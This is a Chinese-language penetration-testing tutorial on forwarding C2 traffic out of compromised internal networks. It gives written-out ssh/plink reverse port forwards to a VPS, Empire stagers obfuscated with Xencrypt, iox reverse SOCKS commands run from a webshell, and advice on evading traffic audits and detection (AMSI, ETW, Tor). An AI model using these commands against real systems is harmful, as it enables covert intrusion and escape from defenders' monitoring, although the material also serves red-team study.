0x00 前言
流量转发,可以说时内网渗透的基础,网上的文章也挺多的,但是我最近看见别人的粗糙的方式,比如把CS直接传到服务器上这样的操作,我觉得是应该总结一下各种流量转发的场景了,方便渗透中使用。
0x01 本文用到的工具
- Empire https://github.com/EmpireProject/Empire (C2)
- Xencrypt.ps1 https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1 (powershell encrypt)
- IOX https://github.com/EddieIvan01/iox
- Neo-regeorg https://github.com/L-codes/Neo-reGeorg
- Plink C:Program Files (x86)GitExtensionsPuTTYplink.exe
0x02 复杂度0
1.例如反弹shell需要反弹到自己VPS上,那这里我们需要把CS或者empire等C2工具传到VPS上吗?
不需要,按照隐藏自己的原则,VPS上基本不能有渗透的任何文件,以免留下痕迹,命令其实也很简单,在win10以及linux上都有ssh命令了,所以:
ssh -CNfT -R 4444:192.168.137.129:443 root@vpsip
注:vpsip 需要配置远程端口转发支持,修改/ect/ssh/sshd_config
添加:
AllowAgentForwarding yes
AllowTcpForwarding yes
GatewayPorts yes
实际演示
被控端:192.168.137.164 (nat)
kali: 192.168.0.105 (bridge)
这两台机器本身互不相同,但是都能出网,所以使用VPS来中转。
这里使用Empire作为C2,使用https监听,这里的HOST要设置为VPSIP和端口
接着ssh端口转发:
生成一个stager,这里生成的时候IP就是VPSIP,端口就是4444,这样会直接将流量转到虚拟机的Empire的443端口来。生成powershell 的stager,先解码出来再用xencrypt加密运行。
Invoke-Xencrypt -InFile xx.ps1 -OutFile banana.ps1 -Iterations 3
这样只要受控端可以直接出网的情况的话,就可以这样利用。而且vps到内网机器的流量都是加密的。empire其实自带一个http_hop listener,把生成的文件传到A VPS上面,再使用http_hop再生成stager来请求A VPS,流量就会被转移到真实的B VPS上。具体可以参考:https://www.hackingarticles.in/hiding-ip-during-pentest-using-powershell-empire-http_hop/
0x03 复杂度1
其实为了自己更安全,C2最好放在自己虚拟机自定义的一个不能出网的网段,然后远程端口转发到自己C2监听的端口。命令与其实上面一样:plink -CNfT -R 4444:192.168.13.29:443 root@vpsip
只不过要在windows的物理机上执行,因为只有windows物理机能够出网而且又能访问到特定网段。这里就不具体说明了,因为我们主要关注被控端能够访问到我们的VPS端口,所以自己要跳几条VPS,系统环境等随便怎么设置都可以。
场景:拿到webshell,发现是内网一台windows不能出网。这就需要找到一台能够出网的了。
先使用regeorg进行正向代理,寻找到出网机器。这里依然可以使用ssh远程转发,在跳板机上面执行。但是我们这使用IOX来演示,适合自己VPS是windows或者突然忘了自己vps密码的人:)
实际演示
测试环境:
debian:192.168.217.92/192.168.137.139 双网卡
win10:192.168.217.128
vps:就用上面的4444端口
1.把iox linux 64bit传到debian这个跳板机上执行:
./iox fwd -l 4444 -r vpsip:4444
2.重新生成stager,上传到win10上,因为win10只能访问到192.168.217.139,所以配置host参数为http://192.168.217.92:4444, 这里我们在1中已经监听了4444端口流量并且转发到了VPS上。
这里的listener必须配置为http,我自己测试发现https的上线不了,https直接网页会报SSL错,但是还是能够访问的,说明流量转发正确。猜测可能是IOX转发https流量不行。
演示图中使用的是http的listener:
整个流程:
内网不能出网的windows10,通过debian把流量转发到vps端口,vps再转到自己的虚拟机的C2中。
配置stager时可以配置http代理,
再渗透中,很多都是通过代理出网的,找到代理服务器IP和端口,设置http/https代理,生成stager的时候host就设置为vps 就可以了,不用设置为内网的机器。
复杂度1.1
实际演示
环境1:
有VPN账号,但是在里面就是找不到代理或者可控的出网机器。
1.在自己VPN拨号的虚拟机中,执行ssh -CNfT -L 4444:vpsip:4444 root@vpsip
或者./iox fwd -l 4444 -r vpsip:4444
,将发往自己4444端口流量转发到192.168.137.129:443 C2控制端。
2.在被控端windows上的webshell执行payload,指定host为我们VPN拨号后分配的地址。
环境2:
无VPN账号,有regeorg 的正向代理和webshell权限。
那就正向代理:)
环境3:
内网机器可以出网,但是没有公网IP,不使用regeorg 的正向代理。
./iox proxy -r vps:9999 (webshell上执行 socks反弹)
./iox proxy -l 9999 -l 1080 (vps上执行)
这样只有把代理设置为vps:1080,就是内网正向的socks代理了。
./iox fwd -l 1088 -r vpsip:1080
如果运行上面这条命令在自己虚拟机上,这样本地设置127.0.0.1:1088这个代理一样可以代理访问到内网。
带加密的话IOX也非常简单,这里使用虚拟机来演示下:
./iox proxy -r *vps:9999 -k 788123 (webshell上执行)
./iox proxy -l *9999 -l *1080 -k 788123(vps上执行)
./iox fwd -l 1088 -r *vpsip:1080 -k 788123(自己的机器)
可以看见kali是不能访问到那边的,但是我通过这样正向socks代理就可以了。
总结
本来开始准备用SILENTTRINITY作为C2的,生成c# stager,然后使用detout来编码生成shellcode。detout生成的shellcode有patch amsi和script logging,dev的分支也加上了bypass etw monitor.但是ST这个框架还是不稳定,而且功能欠缺多,但是这种技术思路很好。detout+C#的马还是很好用的。
本来内网渗透中,环境会更复杂,我这里完全是抛砖引玉,一个基本思路,清楚的知道自己的流量走向,不管怎么复杂都一样。文中提到的技术,都跟自己VPS和自己的网络情况有很大关系,网速不好,体验就不好。这些工具都带有加密的功能,这样会在流量审计上更好过一点,不会上传C2到别人服务器上面,在其中某个点加个tor网络就更能隐藏自己了:)